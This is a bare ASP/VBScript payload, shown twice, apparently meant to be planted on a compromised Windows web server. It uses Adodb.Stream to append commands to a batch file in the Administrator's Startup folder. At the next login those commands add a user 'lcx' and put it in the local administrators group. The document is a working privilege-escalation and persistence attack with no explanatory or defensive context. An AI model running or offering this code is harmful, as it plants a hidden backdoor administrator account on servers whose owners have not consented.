on error resume next dim lcx set lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:/Documents and Settings/Administrator/「開始」菜單/程序/啟動/cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add" lcx.SaveToFile "C:/Documents and Settings/Administrator/「開始」菜單/程序/啟動/cook.bat",2 lcx.Close set lcx=nothing %> on error resume next dim lcx set lcx=server.CreateObject("Adodb.Stream") lcx.Open lcx.Type=2 lcx.CharSet="gb2312" lcx.LoadFromFile "C:/Documents and Settings/Administrator/「開始」菜單/程序/啟動/cook.bat" lcx.Position=lcx.Size lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add" lcx.SaveToFile "C:/Documents and Settings/Administrator/「開始」菜單/程序/啟動/cook.bat",2 lcx.Close set lcx=nothing %>
